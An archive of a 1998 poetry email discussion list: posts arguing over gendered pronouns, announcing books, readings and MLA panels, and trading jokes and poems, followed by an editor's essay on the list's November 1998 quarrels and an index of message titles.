This brings up a more general question on the list, which Joel and I have been discussing in response to notes we have received from list participants. Some of these issues are easy to address: for example please do not send messages over the list that would more appropriate to be sent to one or two individuals (and of course I am not referring to those messages sent out to whole list inadvertently, since many of us make such mistakes from time to time). Also, please do resend the whole announcement to which you are responding; it can be useful to include some edited excerpts, but better just the new message than a resending of the entire previous message. And of course No Attachments should be sent to the list.

The more general issue is harder to address, since generalization spoils the point. Some of the posts I most enjoy are short and often funny responses to previous posts -- so any general comment about "chat" messages would miss a problem I do see. Yet, some short posts would probably be better off backchannel or consolidated into longer, more substantial messages.

Joel and I will be sending out the Welcome Message again soon, as it is the end of the month. I hope that all list participants will reread this message when it is posted.

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943. **Joe Amato/Kass Fleisher**
Re: joking aside, s/he thing
Sat 31 Oct 1998

dan, what really bugs me about this exchange on pronouns is that---well, based on your posts to poetix right along, you've always struck me as a sensible, reasonable, ETC., man... i wondering whether in fact this discussion hasn't polarized you in some way?...

but hey: first off, nobody is advocating going back and altering the historical record... e.g., rewriting literary texts to draw them into align with some newer sensibility regarding pronominal deployment (or whatever)... the *threat* that this might happen, it seems to me, is part of the *reaction* to the (feminist) suggestion that we modify current pronoun usage (i.e., it crops up now and again, this fear, whenever i've had this discussion)... which is to say: if "sanitizing" the past (however defined) is a fear of yours, i would ask that you please substantiate/corroborate said fear... which won't be corroborated, btw, merely by observing that many are now calling for new language in contemporary documents (such as making legal tracts user-friendly in this regard---which hasn't, unfortunately, been very successful)... or by observing that some folks want a version of the bible, say, altered accordingly (b/c we all know how "the book" is modified to serve a vast number of ends)...

secondly: are you actually denying that centuries of using he (etc.) as a presumably ungendered 'universal' has had *zero* impact on the way 'we' think about what that he (etc.) signifies? (incl. various exclusivities)... say it ain't so, dan, please---say it ain't so... and please to note that my usage of 'we' includes he's and she's...

finally: you're making what seems to me a questionable yet telling critical move by resisting the proposed/new usage on the basis of aesthetic evaluation---i.e., "ugly" (vs., i assume, "beautiful")... i mean, "ugly" carries such negative connotations... to introduce a she/her/hers occasionally is "ugly"?---i know you don't *mean* it as a reflection of your feelings regarding men or women per se... but, but, to designate an occasional variation from he (etc.) as "ugly," well hey: seems to me one (esp. she) is inclined to observe that, by sheer default, he (etc.) becomes "beautiful," no?...

and this becomes itself a further example of how he (etc.) signifies in curious ways, no?... or is the power of association, generally, to be utterly discounted here?...

best,

joe

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944. Joe Amato/Kass Fleisher
kerouac in -the atlantic- etc...
Sat 31 Oct 1998

---

just to say that the nov. issue of -the atlantic- contains what i found to be a provocative selection of kerouac's unpublished letters, incl. some interesting commentary by douglas brinkley...

and: to plug a piece by a pal, steve tomasula... in _the pannus index_ (http://www.javanet.com/~stout/pannus/) vol. 2, no. 1... his piece "farewell to kilimanjaro"...

wild piece of fiction, one that i suspect many in these parts would appreciate...

best,

joe

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945. Loss Pequen~o Glazier
EPC list of conferences
Sat 31 Oct 1998

The EPC list of forthcoming conferences has just been updated. If you have anything to add, please let me know at [redacted]
http://writing.upenn.edu/epc/conferences/

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946. Maria Damon
Re: joking aside, s/he thing
Sat 31 Oct 1998

At 11:18 PM -0500 10/30/98, Daniel Zimmerman wrote: ... DZ: Did the use of the feminine pronoun sweep away the injustices of such disenfranchisement? Hardly. And, of course, the terms of a job posting ought to remain gender-neutral; I've never argued otherwise, on this list or elsewhere....

i don't think you get it; the use of the masculine pronoun to indicate universality IS an injustice of such a disenfranchisement, so using the feminine where appropriate does indeed "sweep it away," or at least go some measure toward redressing the historical occlusion.

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947. Laura E. Wright
Re: ba(i)ted breath
Sat 31 Oct 1998

david bromige wrote:
>
> Laura, possibly you mean baited breath, as in, "I had tuna for
> lunch," but I bet you mean bated.
>
> (db3, hurrying to beat Bowering to the Corrective Curmudgeon punch).

Ah -- I had hoped to catch a wombat and interrogate its prounouns, but alas all I've caught is the Corrective Curmudgeon.

Now that I'm here, I'll sneak in my ditto to Patrick's (and others') support of advertising (my god, I'm in favor of advertising?) on the list. Please keep book announcements coming. Some books plugged on this list have even ended up in libraries...

Happy Halloween
--
Laura Wright, Library Assistant
Chogyam Trungpa Memorial Brothel
2130 Arapahoe Ave
Boulder, CO 80302
[redacted]

"Spread the disease."
--some disgruntled student

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948. Dale Smith
Re: Carving Cyber Pumpkins
Sat 31 Oct 1998

Gee, Aldon*, I wonder who wrote that note, using my name and e-mail address, unless the M&D Interview really stuck in Charles' craw... As I told him, I ran a modest disclaimer in the recent issue of M&D, but since I'm having production/distribution problems and low funds, I've been slow to release it. So for the benefit of those who give a pound of "mule's mucous," here's the note, with modest disclaimer, I wrote preceding said issue:

CANARIES IN A COALMINE

Hoa Nguyen has joined the Younger Poet staff as an editor. She steps in to help with the joyful task of producing a quarterly packed with friends, masters and

the random (and welcome) pieces that land in our mailbox each month. * Also, for those who could have possibly read the ŒBernstein Interview¹ in issue 9 as the ³real McCoy,² that was a complete forgery (cf. Ted Berrigan on John Cage). I thought the extreme self-consciousness of that gesture, among other rather Œobvious¹ elements, would reveal that satire for what it was. Still, pickles to Chas Beanstein. * In other, more pressing news, government accountants are tallying losses to the weapons inventory this weekend, having launched million-dollar-a-piece Tomahawk missiles, finally sending New World technology to needy 3rd World recipients. * WANTED: Socialites and Gangpods. We have started a sub-sub-poetics list (call it sub-sub for short). Anyone who enjoys wearing a purple fez and monocles may apply to List Meister Smith to receive initiation to the secret order. First topic of debate: how to address issues of race and gender through the eyes of a koala bear (so cute, stoned and fluffy!). * ³Poets, we are going deep into a mineshaft, and it¹s lights-out for us first. (Keep those peepers open)!² ‹ Wilfred Hoofclaw III * Finally, I¹ll leave you with a transcription of Austin artist Philip Trussell¹s recent dream from June 17, 1998:

WCW¹s 3 strict
triads of the social
impermissible sexual
salvific
dark sharp artificial
perverse
to do violence to
the smug

*Aldon Nielson wrote:

>who was it sent that message pretending to be Dale Smith???? I've got to

> *admit it was an almost convincing disguise,,,, but if you compare the*

>writing of that message carefully to the Dale Smith who appears in the Mike

> *& Dale's interview with Charles Bernstein, the differences will become*
>
> *apparent -- unless, of course, THAT was a fictive Dale!*

Get Your Private, Free Email at http://www.hotmail.com

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949. **Mark W Scroggins**
Re: MLA
Sat 31 Oct 1998

Uh, I was kinda reluctant to announce this, but for anyone who's not completely wiped out by the last day of the conference, and who can get up at 8:30, I'm chairing a panel on "Queer Walter Scott"--yes, yes, nothing to do with poetics or poetry, but some good papers nonetheless. Mark Scroggins

On Sat, 31 Oct 1998, Kathy Lou Schultz wrote:

> *Thanks to everyone who provided information about the MLA; I appreciate it. There have been a few posts about interesting panels and readings, but I'd like to hear from any other listees who are presenting at the conference. Show us yr stuff!*
> *Kathy Lou Schultz*

↑ Index

950. **shemurph**
Re: two new books from Chax
Sat 31 Oct 1998

Both the Cooper and the Foss books are MARVELOUS. I'm luxuriating in these, and hope that others will, too. BUY THEM!

Sheila Murphy

↑ Index

951. **Kathy Lou Schultz**
MLA
Sat 31 Oct 1998

Thanks to everyone who provided information about the MLA; I appreciate it. There have been a few posts about interesting panels and readings, but I'd like to hear from any other listees who are presenting at the conference. Show us yr stuff! Kathy Lou Schultz

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952. **Gene Bernard Suarez**
Greetings & Solicitations
Sat 31 Oct 1998

I just actually signed up to Poetics, and thought what a great way to solicit abstracts and papers for a panel I want to put together for the 1999-MLA, Chicago

(per Charles Bern -stein's comment about advertising conferences and what not).

The other night Ron Silliman and Karen Mac Cormack gave a reading at Stanford, and on the way to dinner (I drove in Ron's car) we got to talking about the Poetics discussion list and the Electronic Poetry homepage. I had known about Poetics for awhile, but never did sign-up. Well ....

Anway, if I may: if there is anyone interested in presenting a paper on Postmoder Genres (for the MLA), I would greatly be interested in seeing abstracts or papers. I have already sent in a blurb for the Winter MLA Notes and the Call for Papers (CPF) web site at www. english.upenn.edu/CFP/, but thought Poetics might be a good place too.

I am a graduate student at Stanford, working with Marjorie Perloff. My dissertation is on the place of the interview in the arts and theory. I have chapters on painters, poets, prose novelists, architects and theorists.

Anway, papers or abstracts rergarding video art, talk shows, the interview, contemporary poetry, prose, painting, architecture, music or theory would be greatly appreciated.

Thanks,

Gene Bernard Suarez
Department of English
Stanford University
Stanford, CA 94305-2087
[redacted]

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953. Irving Weiss
Exhibit announcement
Sat 31 Oct 1998

Dear friend, please, pass on this call:

The Queens Library Gallery is hosting an exhibition titled: "Trans.mit: Fluxus, Mail Art and NetWorks". Deadline: January 20, 1999.

Please submit work/responses focussing on COMMUNICATION AND INTERACTIVITY IN THE GLOBAL NETWORK.

TO: Queens Library Gallery
Karina Skvirsky, Curator
89-11 Merrick Blvd
Jamaica, NY. 11432

E-Mail: [redacted]

La Galeria Queens Library Gallery está organizando una exposición sobre:
Arte Fluxus, Correo, y Trabajos en la Net. Fecha límite 20 de Enero de 1999.

Por favor envía trabajos/reacciones en relación al tema:

COMUNICACION E INTERACCION EN EL MUNDO GLOBAL

DIRECCION: Queens Library Gallery
Karina Skvirsky, Curadora
89-11 Merrick Blvd
Jamaica, NY. 11432

E-Mail: [redacted]

Fraternal greetings,

Clemente Padín
C.Correos central 1211
11000 Montevideo
URUGUAY

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954. david bromige
this is not a suggestion, but (an order?)
Sat 31 Oct 1998

George writes that he wants to sell his Bromige books. Is that so?! Well, then,I'd like to unload my Bowering collection. But I have a question. Each time he holographs something to me in a book of his, he writes "Not for Resale." Does this increase the value?

Also, in my copy of _Blonds on Bikes_, which I picked up for a song ("Sisters of Mercy," sung to bookseller Renee Rodin) + CAN$7 in a downtown Vancouver bookshop, GB, outraged--the cover price is CAN$17--wrote "this is for my old pal"--then crossed out every letter after the "f". Does this increase the value? Because, if so, I can cross out portions of his other dedicative holographings. In the books I stole, I shall of course x out everything.

Blonds on Bikes is actually a really good read (not least for the contributions by GB's wife Angela), but I've photocopied it on the Dept machine, so I don't need it any more.

What's an even better read is Bowering's latest novel, _Piccolo Mondo_, available from Coach House Books in Toronto, also for a song (" Brother [Sister],Can You Spare a Dime?"). An even better read, that is, if you're interested in the

scurrilous beings and doings of GB's extraordinarily prolonged youth (but nothing about those later, MLA, parties, Maria and Rachel and Eliza).

Btw, if you want to p.u. my early works from George, the song I suggest is "I Get a Kick Out Of You." I always do.

db3

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955. **Christina Fairbank Chirot**

Re: joking aside, s/he thing

Sat 31 Oct 1998

A related question for increasing mubers of people livving in the USA is racial identity. For example on how many forms are you asked your racial identity only to find that you have a limited number of choices: Black, White, Hispanic, American Indian/Eskimo, Asian--yet millions of people are like myself mixed race--so where does one find one's place here? Dichotomous, either/or thinking, classification, labelling and so on limits one severely and seems absurd, an imposition of grids on areas that move as shifting, living rivers. Last night Leonard Shlain, author of the new book The Alphabet versus the Goddess gave a talk and book promo here in Milwaukee. I live neqrby so stopped in to hear him--also read quite a bit of the book earlier--His thinking is very much either/or: left brain/right brain, liner/intuitive, masculine, feminin and so on. The advent of written and particularly printed texts is continually correlated with the predominance of left brain, linear, masciuline thought and domination. As a visual poet I of course questioned a number of his assumptions, asking him if he was aware of what visual poets have essayed for thousands of years--and, this being the Centennial of Mallarme's "UB COUP DE DES"--usually considered as the "beginning" of "modern' Western visual poetry--9if he was aware of such work, which is not eithor/or but both/and--again, non-dichotomous. An example in nature is light--which is both particle and wave. (Shlain looks more at long waves at the expense of particles, admitting himself he has not used the question of location, of local movements and so on which are so crucial in the thinking of many today, wheteher influenced by Foucalut, Deleuaze and Guattari, Feminist thinkers and writers, ethnic movements, grass roots movements and so on--or just by walking around and being aware of one's location here--this site-- Many of the arguments against either/or thought --as Shlain's written text and "mastery"--he's a surgeon and also wrote a book on Art and Physics--ironically use the very rational, linear thinking they deplore to demonstrate their theses condeming it for its violations throughout history of women, the right brain, justice and equality for all . . . The point, again, is division, categorization and, in Shlain's case, a

mix of science, feel good pop psychology and Mew Ageisms which appropriates the idea of "difference" at the expense of erasing any "difference" which is not "mixed" but simply a systematic way of emphasizing difference to better control. The side kick of this emphasis on difference is an erasure of difference at the expense of not only of the "mixed" but also of local differences at the expense of lump differences. Am example would be the "Pan-Indian" New Age concepts of of American Indians and cultures, traditions, styles, histories and beliefs--at the exoense of recognizing difference among living Indians.
Of course the question of pronouns is "significant"--language is used to shape images and behaviours. The question agin, though, gets turned into another dichotomy: get rid of that which emphasizes to an extreme degree difference and replace it with what is "neutral". (Or as some joker pointed out, "neutered".) The problem with neatralizing/neutering is that at some p[oint it destorys the "mixed"-- A striking excample somewaht debated on this list a year ago was the question of Visual Poetry. Marjorie Perloff wanted suggestions (as did as I recall Jena Osman) for texts to be used n teaching a Grad Seminar on Visual Poetry. Bob Grumman especially made many suggestions--and others as well passed on a few-- In th end, Perloff's texts were a few monuments--Mallarme, Apollinaire--the Solt anthology of Concrete Poetry from the early Seventies--and then a slew of "language centered" writers who have produced texts that present very narrow, attentuated examples of "visual poetry" emp[hasizing language rather than the conjunctions and interrelationships among visual and word elemnts and their movements with sound, physical movement, performance----work quite different from the visual poetry Grumman had recommended. (Concerning the latter aspects of Visual Poetry--in relation to the use of texts as scores--see Karl Young's great essay "Notation and the Art of Reading" at Light and Dust web site
http://www.thing.net/~grist/homekarl.htm Again, an example of the appropriation of (mixed) "difference" (visual poetry) at the expoense of the differences and mixings which is the activity of visual poetry for the majority of visual poets practising around the world today and examples of which are not that difficult to find. The quest for the neutral can be as dangerous as the quest for dichotomies--the drive seems to be propelled at some point by exclusivity--
So the question remains . . .to be worked WITH . . . as both particle and wave--
--dbc

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956. George Bowering
Re: this is not a suggestion, but (an order?)
Sat 31 Oct 1998

I want to make it clear that the early bromige books I have for sale cheap include the ones he wrote and published under his pseudonyms (at least he claimed that they were his, and who could doubt such a dignified-looking man. I mean, he looked dignified when he was 25 and claimed to be 21). I have three signed copies of _The Heads of the Town up to the Aether_, for example, which he published under another name in the early 60s. He said that he used another name on this book because he did not want to flood the market, having just published another book called _The Oprning of the Field_. I have 4 copies of that, signed by Mr bromige. Boy, could he write in those days!

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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957. Daniel Zimmerman
Re: joking aside, s/he thing
Sat 31 Oct 1998

Corrolaries to Murphy's Law:

1. If anyone can misunderstand, he probably will.
2. If anyone can misunderstand, she probably will.
3. If anyone can misunderstand, he or she probably will.

If anyone prefers 3. to 1. or 2., he or she certainly has every right to adopt it for his or her use, especially if doing so will make him or her feel truer to himself or herself regarding his or her beliefs about what he or she considers his or her social or other responsibility.

[Sorry: I just get carried away sometimes].

Joe Amato/Kass Fleisher wrote:
>
> dan, what really bugs me about this exchange on pronouns is that---well,
> based on your posts to poetix right along, you've always struck me as a
> sensible, reasonable, ETC., man... i wondering whether in fact this
> discussion hasn't polarized you in some way?...

DZ: Thank you for giving me the benefit of the doubt, Joe. & yeah, I guess I do feel a bit polarized [even frostbitten, given some of the retorts I've read]. Rather than keep this running longer than the Starr snoop, I'll try to keep my responses as brief as possible.
>
> but hey: first off, nobody is advocating going back and altering the
> historical record... e.g., rewriting literary texts to draw them into align
> with some newer sensibility regarding pronominal deployment (or
> whatever)... the *threat* that this might happen, it seems to me, is part
> of the *reaction* to the (feminist) suggestion that we modify current
> pronoun usage (i.e., it crops up now and again, this fear, whenever i've
> had this discussion)... which is to say: if "sanitizing" the past (however
> defined) is a fear of yours, i would ask that you please
> substantiate/corroborate said fear... which won't be corroborated, btw,
> merely by observing that many are now calling for new language in
> contemporary documents (such as making legal tracts user-friendly in this
> regard---which hasn't, unfortunately, been very successful)... or by
> observing that some folks want a version of the bible, say, altered
> accordingly (b/c we all know how "the book" is modified to serve a vast
> number of ends)...
>
DZ: Well, right: I don't really 'fear' such rewriting, since like [almost?] everyone else, I'd see it as merely absurd; indeed, I used that example of rewriting the past as an analogy for the absurdity I see in some people's call for a similar rewrite of the present: people like the dimwit teachers I referred to in earlier posts who [I didn't make this up!] penalize students who fail to 'get with the program' -- a program which produces sentences like the one above, following the Corrolaries to Murphy's Law. NB: I doubt that such teachers have smarts enough to have noticed any but the most blatant & inappropriate uses of "he" as oppposed to "she" or "he or she." I think it took a brilliant & well-meaning Victor Frankenstein [aka Mary Shelley] to create such a hodgepodge as himself/herself or s/he, and to make such people not only notice it, but codify it into a credo. [Certainly Shelley didn't actually *advocate* Victor's experiment!] Does that make me one of the terrified villagers-cum-pitchfork? I don't believe so, but I do think that Vic had a Not Terribly Good Idea, and that lots of people who teach writing don't recognize that.

> *secondly: are you actually denying that centuries of using he (etc.) as a presumably ungendered 'universal' has had *zero* impact on the way 'we' think about what that he (etc.) signifies? (incl. various exclusivities)...*

> *say it ain't so, dan, please---say it ain't so... and please to note that my usage of 'we' includes he's and she's...*

DZ: No, I suppose it may have had some impact on some people some of the time, but I also suppose it remained pretty irrelevant compared to the often bloody attempts to gain recognition for the dignity of all people or all genders & all et ceteras. I wonder how this works in other languages. One of my Polish students told me yesterday that this problem doesn't crop up in her native language [does it? any Polish speakers out there?]. I guess a way to test this Whorfian hypothesis would involve finding languages which don't use gendered pronouns, or which prefer the feminine pronoun, & then see whether males dominate/oppress females in those societies. My own objection to the [as I've stressed, though no one seems to notice] obsessive, repetitive, and excessive knee-jerk/totalizing use of multigendered pronouns has *nothing* to do with whether they've *had* any [I assume you mean oppressive] "impact" on anyone [though I don't at all deny that one can *see* them as *reflecting* the negative impact which deliberate social practices have had and, sadly, continue to have on people]. My objections remain 1. Aesthetic: you, if memory serves, wondered how I, as a poet, could display such insensitivity to language as to object to the s/heification of the father/mother tongue. I might ask how you, as a poet, can regard such inanities as my sample sentence above [& the horse it rode in on, by the way] as sensitive! Would you, a poet, actually recommend that anyone write such a sentence? This stuff just strikes me as ugly. Yes, ugly. A matter of taste. De gustibus non est disputandam. 2. Philosophical: in an earlier post, I mentioned William of Ockham's injunction "not to multiply entities beyond necessity" -- the "razor." It seems to me a pretty good principle. Rigorously systematic use of s/he-isms appears to multiply entities beyond necessity by relying on global mimesis to achieve a point when a single direct statement would do [e.g., "an equal opportunity employer"]. Therefore I asked [about as facetiously, I thought, as Mary Shelley might have 'advocated' the creation of Frankenstein's monster] whether the use of s/he-isms has caused reforms [e.g., suffrage, equal pay]. It seems to me that though "the pen is mightier than the sword," that might works like a scalpel, whereas the word-magic of s/he-ism works either like a neutron bomb, or about as effectively as "take an aspirin and call me in the morning." I do not see it as satyagraha. I see it as "I'm rubber; you're glue..." 3. Linguistic: "the map is not the teritory," linguists say. They don't think much of "prescriptivism," either, despite the French Academy.
Very few listees have responded to these, my previously stated reasons for my views on this matter. Some have preferred to attack me personally, to question my 'sensitivity,' to lecture me on chauvinism, &c. Have I made enemies? I hope not; I have great regard for all of you. Have you made me an enemy by confusing your inferences with what I've actually said? Again, I hope not; I've tried to

state my views explicitly. I will continue to do so -- though not, I hope [as I expect you do as well], on the present topic].

> *finally: you're making what seems to me a questionable yet telling critical move by resisting the proposed/new usage on the basis of aesthetic evaluation---i.e., "ugly" (vs., i assume, "beautiful")... i mean, "ugly" carries such negative connotations... to introduce a she/her/hers occasionally is "ugly"?---i know you don't *mean* it as a reflection of your feelings regarding men or women per se... but, but, to designate an occasional variation from he (etc.) as "ugly," well hey: seems to me one (esp. she) is inclined to observe that, by sheer default, he (etc.) becomes "beautiful," no?...*
>
> *and this becomes itself a further example of how he (etc.) signifies in curious ways, no?... or is the power of association, generally, to be utterly discounted here?...*
>
> *best,*
>
> *joe*

DZ: But, Joe! I do NOT "designate an occasional variation from he (etc.) as "ugly"! Where did you *get* that idea? I've said *repeatedly* that feminine pronouns make sense *when* they make sense, but not at other times, and I've agreed that it makes *no* sense to refer to a woman as "he"! I've also said it makes sense to use "he or she" when really appropriate or necessary -- I just think it necessary far less often than some listees evidently do, and I've said why.

Thanks again for engaging in this discussion with me.

Best,

Dan

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958. **Elizabeth Treadwell**
please keep on announcing
Sat 31 Oct 1998

Another vote for YES PLEASE announcements of publications and readings. Hello, I enjoy that more than a lot of the other threads, and was very intrigued to hear of Lisa Cooper's work (from Charles/Chax), which I hadn't before.

Eliz.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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959. **Brian Carpenter**
halloween haiku
Sat 31 Oct 1998

Autumn moon.
Crescent. Even she
has a toothache.

No matter how close
I look, there is no fun
in "fun size."

My stupid brother gets
all the good candy. Halloween
sure is stupid.

↑ Index

960. **Chip**
Re: dead Huckster Society
Sat 31 Oct 1998

I just want to add my two cents worth to the chorus of voices raised in support of book/pub/sales/readings/tours/ notices. In a capitalistic consumertistic and very autistic tistic society much like the one we all happen unfortunately today (tonight, I should say) share, we need to know this. We need to know this. We need to know this. And I say "we" fully conscious as I am of the transgressive nature of pronouns, not to mention the gressive nature of nouns or the ive nature of post-participles or the trans- nature of pluperfect gender specific pasta with tomato sauce, which I like very much, thank you Mr. Bowering, Mr. Bromide, Ms. Damon, Mr. Fixit, and all the other "personalities" who grace this particular drone of grammar. And while I'm "here" let me just say that I think poetry is great, and whatever Mr. Ribot says, we should try to maintain a sense of humid - dry humid if possible - and not talk TOO much about "serious" issues of phraseology or politics, and I really sense a consensus of sensuality on that issue, male, female, brick or cement. Has anyone - to raise a positive note of "interest" - read the jambon-gombons coming out of Iran lately? You can find them - IF you're into multiglobal developments - at http://http.http.http.[infinity], and if anyone has any info on Fred Chlzizkiewickza's translations of this mode I would love to hear from you - backchannel preferred but not a legal

requirement in most countries. & while we're on this subject, has anyone read Pearl Dwarf's new work out of Clim Press in Fargo? Astounding stuff - and I mean, STUFF!! Dwarf comes out of a quilting bee tradition - quite native to the Indiana flatlands south of de border - and intercalates poetry with found objects like knitting needles, hay, old pepsi bottlecaps, and photos of Geritol roadsigns - MASSIVE I mean - these works if you can call them that are over 300 square miles large! One of Dwarf's poems actually STIFLED Jelworth County, IL in three horrific hours of mayhem! [Halloween, 1995] NEA $$$, forget it, baby! Let's organize!

- John Ashbery

↑ Index

961. A. Jenn Sondheim
Sonnet by Julu (fwd)
Sat 31 Oct 1998

-

> *Sonnet*
>
> *Some things crash these lanely nights,*
> *Blaad's runnin', ghasts are loomin' -*
> *I'm waiting for you to put out my lights -*
> *The warst kind of bite is the human!*
>
> *My cat uses paws to straighten her claws,*
> *There are times I'll be cut and be gloomin' -*
> *But kitty meows, she closes her maw,*
> *And the warst kind of bite is the human!*
>
> *I've always been tald, all over aur teeth*
> *There's germs of all sarts come a-roomin' -*
> *We're filled with disease, can hardly breathe -*
> *For the warst kind of bite is the human!*
>
> *Now I beg you my luv, use your teeth, push and shove,*
> *For the warst kind of bite is the human!*
>
> *- Julu*

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

November 1998

984 messages · Sun 1 Nov 1998 – Mon 30 Nov 1998

November 1998 gave the room a war it might have named and did not. As it opened, the United States stood on the edge of bombing Iraq over the inspectors Saddam had barred; Newt Gingrich fell; John Glenn went back into orbit — and the Poetics list let all of it pass, except to borrow the war as a figure of speech. Kent Johnson likened his opponents in a listserv quarrel to imperial hypocrites raving about weapons of mass destruction, adding that he was not comparing anyone to Saddam. Ron Silliman, writing in from the battlefield at Bull Run, found the list staging a civil war of its own. The only news it let in was poetry's: a wire on the race to replace Ted Hughes as Laureate, and Kizer and Kumin resigning from the Academy over its want of Black chancellors.

For the most part the room was at peace only when it was not talking about poetry at all. Its calmest sustained thread was a crowdsourced list of what everyone was reading off the clock — Philip K. Dick, Walter Mosley, Mandelstam, Acker — a shelf assembled without a single quarrel. It is worth marking, because it turned out to be the one thing all month the list could hold in common: it could share a reading, but it could not, for the life of it, share a word.

The word was tolerance, and the month is the sound of it coming apart. Marjorie Perloff — no abstraction now but present on the list, answering her critics in person — used it in contempt: aesthetic tolerance was the enemy of any poetry worth the name, and opposing a bad Laureate a duty, not a rudeness. *"The TOLERANCE exhibited here is really something"*, she wrote, meaning the opposite of praise; her opponents heard a different word entirely. Gabriel Gudding answered that *"Intolerance is useless and goofy"*, that the American Renaissance was born of openness; Hugh Steinberg, that tolerance *"also means insisting upon a place at the table."* One camp meant blandness, the other justice, and across five tangled threads the word refused to settle into either — the room proving again that it cannot keep a word.

Beneath the war over the word ran a second front, and then a mutiny. The younger poets opened a thread asking whether it was merely oedipal to resent having to write like Ron Silliman — influence itself put on trial — while Henry Gould, the list's most tireless combatant, stepped out of the melee to call for what he named a free poetics, and offered, mid-brawl over tolerance, the month's least

likely sentence: *“Believe me, I would shut up for this.”* The room that could not define tolerance was, just then, the least tolerant it had been all year.

And under all the noise, a death almost went unheard. Ray Bremser — a Beat poet the room had half-forgotten, and then wondered aloud whether he was still living — had died on the third. It reached the list not as an obituary but as a rumour Aldon Nielsen relayed from a few scattered sources, hoping for a collected works someday and closing, to a room still at each other’s throats over a word, *“everybody stay safe!”* I have set that small, uncertain notice at the end of the month’s long quarrel exactly as November left it, because it is the one thing the list could not argue with — that while it fought over what tolerance meant, one of its own had quietly stopped needing any.

— Kristen M. Fabians

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234. dbkk — Re: Jack Spicer commemorated
235. henry gould — Re: Stevens and Spicer
236. Mairead Byrne — Re: Sometimes good guys don't wear white
237. Charles Bernstein — Re: Hannah Weiner notes
238. KENT JOHNSON — The man on top
239. Eliza McGrand — Re: My address and phone
240. Eliza McGrand — Re: Sometimes good guys don't wear white
241. Mairead Byrne — Re: Nice guys
242. Timothy Liu — First Annual Asian American Writer's Awards
243. Chris McCreary — Re: ITSYNCCAST, 3rdness publication
244. shana — Re: The man on top
245. Chris McCreary — Re: ITSYNCCAST, 3rdness publication
246. Pete Neufeld — Does anyone know
247. MAYHEW — A very nice guy
248. Thomas Bell — back to Spicer
249. Todd Baron /*/ ReMap — Re: A suggestion-
250. Poetry Project — Taslima Nasrin
251. dbkk — Noah De Lissovoy info
252. Kathy Lou Schultz — Re: The man on top
253. Kathy Lou Schultz — More on Hejinian
254. W. Freind — Elizabeth Treadwell

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255. joel lewis — f.y.i.
256. George Bowering — Re: My address and phone
257. George Bowering — Re: My address and phone
258. Robert Archambeau — Re: Stevens and Spicer
259. schuchat — Re: nice poets would a-touring go

260. david bromige — nice poets would a-touring go
261. jesse glass — Re: linguistic transparency
262. Katherine Lederer — EXPLOSIVE LET ME TRY THIS AGAIN
263. David Baratier — Sometimes good guys don't wear white
264. Henry Gould — stevens again
265. louis stroffolino — COMMUNITY CHEST
266. Billy Little — Re: Some guys don't list bars nbst(some planet) bars
267. Gabriel Gudding — Kent, come to Kornell
268. Pattie McCarthy — some news from Philadelphia --publication announcement
269. Pattie McCarthy — New Poetry Magazine (via Philadelphia)
270. David Kellogg — Re: COMMUNITY CHEST
271. Gabriel Gudding — Last Call, Cornell Hire
272. Mark Prejsnar — After they've seen the Pah'ree Commune (iteee)
273. Poetics List — Judy Roitman's *Diamond Notebook* (fwrd)
274. Jordan Davis — Re cog nize
275. lee ann brown — Re: Hannah Weiner 70th Birthday Memorial Tribute
276. Judy Roitman — Re: the theory of fuzzy sets
277. Henry Gould — Re: Re cog nize
278. Pritchett,Patrick — Re: RENGA 32
279. Gabriel Gudding — David Kellogg, This is Feld on Bernstein
280. Jordan Davis — groupies, gropings, groupings
281. David Kellogg — Re: David Kellogg, This is Feld on Bernstein
282. Maria Damon (Maria Damon) — Re: More on Hejinian
283. Maria Damon (Maria Damon) — Re: Last Call, Cornell Hire
284. Mark Prejsnar — the theory of fuzzy sets
285. Pierre Joris — Re: the theory of fuzzy sets
286. Pritchett,Patrick — Re: More on Hejinian
287. Gary Sullivan — Re: nyc people! may i borrow "code poems"
288. Judy Roitman — Re: the theory of fuzzy ron
289. MAYHEW — Re: the theory of fuzzy sets
290. Pritchett,Patrick — need address
291. Burt Kimmelman — Re: More on Hejinian
292. Mark Prejsnar — the theory of fuzzy ron
293. MAYHEW — Re: David Kellogg, This is Feld on Bernstein
294. Pritchett,Patrick — Left Hand Reading Series, etc.
295. John Latta — Re: the theory of fuzzy sets
296. Erik Sweet — Robots in Poetry/community
297. P.Standard Schaefer — Re: the theory of fuzzy sets
298. Keith Tuma — Re: David Kellogg, This is Feld on Bernstein
299. Lisa Trank — Kenward Elmslie Reading at Naropa
300. david bromige — targeting Silliman and Bernstein
301. ken|n|ing — Re: More on Hejinian
302. KENT JOHNSON — Re: stevens again
303. Pritchett,Patrick — Re: More on Hejinian
304. Tom Orange — hannah, community, generation
305. miekal and — Re: groupies, gropings, groupings
306. miekal and — hw yet to appear
307. Melanie Bookout — Re: David Kellogg, This is Feld on Bernstein
308. henry — Re: stevens again
309. Burt Kimmelman — LH's My Life (Kathy forgive me for not asking you first but I can't keystr…
310. louis stroffolino — Re: COMMUNITY CHEST
311. Rachel Blau DuPlessis — Re: Self-Promotion
312. KENT JOHNSON — Free reading=Interview
313. charles alexander — hannah weiner tribute
314. Pattie McCarthy — Re: New Poetry Magazine (via Philadelphia)

315. Maria Damon — help quick sos on usop
316. Karen and Trevor — Re: First Annual Asian American Writer's Awards
317. Kathy Lou Schultz — Re: After they've seen the Pah'ree Commune (iteee)
318. Kathy Lou Schultz — Re: Re cog nize
319. Kathy Lou Schultz — Hejinian front channel
320. Susan Wheeler — CalArts and ----------
321. Edward Fristrom — Re: After they've seen the Pah'ree Commune (iteee)

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322. Safdie Joseph — Re: Hejinian front channel
323. Randy Prunty — nude venutians
324. Mark Weiss — Re: nude venutians
325. Jim Bennett — Re: After they've seen the Pah'ree Commune (iteee) - And a very very-very nic...
326. Mark Salerno — Re: Mr. Feld, I presume
327. Randy Prunty — Re: nude venutians that never landed in Central Park
328. Steven Clay — Publication party
329. Mark Wallace — fuming
330. charles alexander — if you're in Tucson, come over
331. Michael Magee — question - Alfred Leslie
332. Melanie Bookout — Re: After they've seen the Pah'ree Commune (iteee)
333. Henry Gould — are you poet of the problem?
334. Michael Franco — KENWARD ELMSLIE READING AT MIT 11-12-98
335. MAYHEW — Re: are you poet of the problem?
336. Maria Damon (Maria Damon) — Re: hannah, community, generation
